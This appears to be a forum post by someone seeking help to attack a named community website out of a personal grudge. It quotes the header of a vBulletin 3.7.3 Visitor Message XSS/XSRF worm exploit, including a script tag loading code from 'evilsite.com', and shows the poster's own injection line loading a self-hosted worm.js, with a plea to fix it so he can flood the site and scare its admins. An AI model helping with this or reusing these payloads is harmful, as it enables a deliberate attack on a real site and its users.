Hello there is a website I would like to do damage to because the admins have been very harsh on me in the past.
The url is hxxp://www.thedugout.tv/community
I have found this exploit: | Code: | =======================================================
vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit
=======================================================
/* -----------------------------
* Author = Mx
* Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
* Software = vBulletin
* Addon = Visitor Messages
* Version = 3.7.3
* Attack = XSS/XSRF
- Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
+ with the visitor messages addon (a clone of a social network wall/comment area).
- When posting XSS, the data is run through htmlentities(); before being displayed
+ to the general public/forum members. However, when posting a new message,
- a new notification is sent to the commentee. The commenter posts a XSS vector such as
+ <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
- under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
+ and I have included an example worm that makes the user post a new thread with your own
- specified subject and message.
* Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
* of the attack method.
* ----------------------------- */

I edited it and uploaded it to my webspace here: http://www.baz.s1x.me/worm.js
However when I post a "visitor message" of | Code: | | <script src"http://www.baz.s1x.me/worm.js"</script> |
(without the square CODE tags) it just posts it as text - and I have to delete it quick before anyone sees it.
Can anyone please help me with this exploit? I registered here especially for this after about an hour of Googling for answers.
I REALLY wanna get this to work so I can flood it with threads and make them scared. 
Thanks for any help. |
